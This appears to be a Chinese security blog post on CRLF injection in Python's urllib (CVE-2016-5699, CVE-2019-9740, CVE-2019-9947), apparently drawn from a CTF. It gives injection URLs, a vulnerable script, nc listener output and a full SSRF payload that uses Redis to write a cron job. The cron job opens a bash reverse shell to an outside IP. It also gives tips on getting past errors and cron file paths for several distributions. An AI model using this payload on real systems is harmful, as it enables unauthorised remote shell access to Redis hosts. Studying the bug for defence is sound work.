路漫漫其修远兮,吾将上下而求索

0%

urllib-vul

urllib CRLF注入

  • CVE-2016-5699: http://[vps-ip]%0d%0aX-injected:%20header%0d%0atest:5555
  • CVE-2019-9740: http://[vps-ip]%0d%0a%0d%0aheaders:5555
  • CVE-2019-9947: http://[vps-ip]:5555?%0d%0apayload%0d%0apadding
  • http://[vps-ip]:5555/%0d%0apayload%0d%0apadding

漏洞代码

1
#!/usr/bin/env python3
2
3
import sys
4
import urllib
5
import urllib.error
6
import urllib.request
7
8
url = sys.argv[1]
9
10
try:
11
    info = urllib.request.urlopen(url).info()
12
    print(info)
13
except urllib.error.URLError as e:
14
    print(e)

在vps监听

nc -lvvp 5555

1
listening on [any] 7777 ...
2
connect to [127.0.0.1] from localhost [127.0.0.1] 36252
3
GET /?a
4
header::8080/test/?test=a HTTP/1.1
5
Accept-Encoding: identity
6
Host: 127.0.0.1:7777
7
User-Agent: Python-urllib/3.7
8
Connection: close

配合ssrf,redis

利用CVE-2016-5699 redis未授权访问 计划任务反弹shell

payload

1
http://127.0.0.1%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0d%0a*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F111.231.169.25%2F5555%200%3E%261%0a%0d%0aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0d%0a:6379

如果urllib2抛出URLError:的异常

可尝试将%2F双重编码

url过长也可能抛出异常,可以分为几个url

urldecode

1
http://127.0.0.1
2
*3
3
$3
4
set
5
$1
6
1
7
$62
8
9
*/1 * * * * /bin/bash -i >& /dev/tcp/111.231.169.25/5555 0>&1
10
11
config set dir /var/spool/cron/crontabs
12
config set dbfilename root
13
save
14
:6379

Redis的通讯协议 ( 突破空格的限制)

1
*3 //表示3个参数
2
$3 //下面的参数有3个字节
3
set
4
$1 //表示下一个参数有一个字节
5
1
6
$62 //表示下一个参数有六十二个字节(加上第一个%0a)

不同操作系统的系统任务调度文件

用户 XXX 调度文件:

1
ubuntu 下路径
2
/var/spool/cron/crontabs/xxx
3
4
Alpine 下路径
5
/etc/cron.d/xxx
6
7
debian 下的路径(xxx 可以是任意东西)
8
/etc/cron.d/xxx
9
或者
10
/var/spool/cron/crontabs/xxx
11
但是写这个路径的时候,文件内不能加用户名。

参考

Hack Redis via Python urllib HTTP Header Injection

Python urllib HTTP头注入漏洞

[linux 定时任务 crontab 反弹 shell]

THUCTF2019之ComplexWeb